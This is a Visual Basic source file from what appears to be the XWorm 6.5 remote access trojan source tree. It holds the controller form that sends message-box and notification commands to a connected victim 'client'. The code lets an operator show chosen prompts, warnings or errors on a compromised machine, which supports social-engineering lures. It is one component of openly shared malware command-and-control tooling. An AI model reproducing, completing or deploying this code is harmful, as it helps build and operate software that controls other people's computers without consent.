XWorm-6.5-Source/XWorm/Forms/MBox.vb

Imports System.Threading
Public Class MBox

    Public C As Client
    Private Sub MBox_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Guna2ComboBox1.SelectedIndex = 0
        Guna2ComboBox2.SelectedIndex = 2
        Guna2ComboBox3.SelectedIndex = 0
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        Try
            If Not C.IsConnected Then
                Close()
            End If
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Private Sub MBox_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
        Dim B As Byte() = SB("CloseMessageBox")
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
    End Sub

    Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
        Dim B As Byte() = SB("MessageBox" & SettingsHelper.SPL & Guna2ComboBox2.Text & SettingsHelper.SPL & Guna2ComboBox1.Text & SettingsHelper.SPL & Guna2TextBox1.Text & SettingsHelper.SPL & Guna2TextBox2.Text)
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
    End Sub

    Private Sub Guna2ComboBox1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles Guna2ComboBox1.SelectedIndexChanged
        If Guna2ComboBox1.Text = "None" Then
            PictureBox1.Image = Nothing
            PictureBox1.Visible = False
        End If
        If Guna2ComboBox1.Text = "Information" Then
            PictureBox1.Visible = True
            PictureBox1.Image = My.Resources.Information
        End If
        If Guna2ComboBox1.Text = "Question" Then
            PictureBox1.Visible = True
            PictureBox1.Image = My.Resources.Question
        End If
        If Guna2ComboBox1.Text = "Warning" Then
            PictureBox1.Visible = True
            PictureBox1.Image = My.Resources.Warning
        End If
        If Guna2ComboBox1.Text = "Error" Then
            PictureBox1.Visible = True
            PictureBox1.Image = My.Resources._Error
        End If
    End Sub

    Private Sub Guna2ComboBox3_SelectedIndexChanged(sender As Object, e As EventArgs) Handles Guna2ComboBox3.SelectedIndexChanged
        If Guna2ComboBox3.Text = "None" Then
            PictureBox2.Image = Nothing
            PictureBox2.Visible = False
        End If
        If Guna2ComboBox3.Text = "Info" Then
            PictureBox2.Visible = True
            PictureBox2.Image = My.Resources.Information
        End If
        If Guna2ComboBox3.Text = "Warning" Then
            PictureBox2.Visible = True
            PictureBox2.Image = My.Resources.Warning
        End If
        If Guna2ComboBox3.Text = "Error" Then
            PictureBox2.Visible = True
            PictureBox2.Image = My.Resources._Error
        End If
    End Sub

    Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
        Dim B As Byte() = SB("NotifyIcon" & SettingsHelper.SPL & Guna2ComboBox3.Text & SettingsHelper.SPL & Guna2TextBox3.Text & SettingsHelper.SPL & Guna2TextBox4.Text)
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
    End Sub
End Class